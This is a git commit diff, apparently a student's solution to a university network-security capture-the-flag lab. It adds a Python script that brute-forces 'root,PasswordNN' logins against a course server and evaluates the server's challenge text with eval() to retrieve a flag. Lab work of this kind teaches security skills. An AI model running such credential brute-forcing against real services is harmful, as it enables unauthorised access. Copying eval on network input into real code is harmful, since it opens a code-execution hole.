solved w2h
This commit is contained in:
@ -1,21 +1,51 @@
|
|||||||
import socket
|
import socket
|
||||||
|
import time
|
||||||
# Fill in the right target here
|
# Fill in the right target here
|
||||||
HOST = 'localhost' # TODO
|
HOST = 'netsec.net.in.tum.de' # TODO
|
||||||
PORT = ... # TODO
|
PORT = 64984 # TODO
|
||||||
|
|
||||||
|
def gen_crends():
|
||||||
|
credentials = "root,Password00"
|
||||||
|
return credentials
|
||||||
|
|
||||||
def get_flag():
|
def get_flag():
|
||||||
|
credentials = "root,Password19"
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
|
||||||
s.connect((HOST, PORT))
|
s.connect((HOST, PORT))
|
||||||
sf = s.makefile('rw') # we use a file abstraction for the sockets
|
sf = s.makefile('rw') # we use a file abstraction for the sockets
|
||||||
|
print(sf.readline().rstrip('\n'))
|
||||||
|
sf.write("{}\n".format(credentials))
|
||||||
|
sf.flush()
|
||||||
|
data = sf.readline().rstrip('\n')
|
||||||
|
print(data)
|
||||||
|
response = eval(data)
|
||||||
|
sf.write("{}\n".format(response))
|
||||||
|
sf.flush()
|
||||||
|
print(sf.readline().rstrip('\n'))
|
||||||
|
flag = sf.readline().rstrip('\n')
|
||||||
|
return flag
|
||||||
|
|
||||||
# TODO
|
|
||||||
|
|
||||||
sf.close()
|
|
||||||
s.close()
|
|
||||||
|
|
||||||
|
def find_port_get_flag():
|
||||||
|
for i in range(100):
|
||||||
|
time.sleep(1)
|
||||||
|
credentials = "root,Password"+str("%02d" % i)
|
||||||
|
print(credentials)
|
||||||
|
try:
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
s.connect((HOST, PORT))
|
||||||
|
sf = s.makefile('rw') # we use a file abstraction for the sockets
|
||||||
|
print(sf.readline().rstrip('\n'))
|
||||||
|
sf.write("{}\n".format(credentials))
|
||||||
|
sf.flush()
|
||||||
|
data = sf.readline().rstrip('\n')
|
||||||
|
answer = eval(data)
|
||||||
|
sf.write("{}\n".format(answer))
|
||||||
|
sf.flush()
|
||||||
|
print(sf.readline().rstrip('\n'))
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
get_flag()
|
print(get_flag())
|
Reference in New Issue
Block a user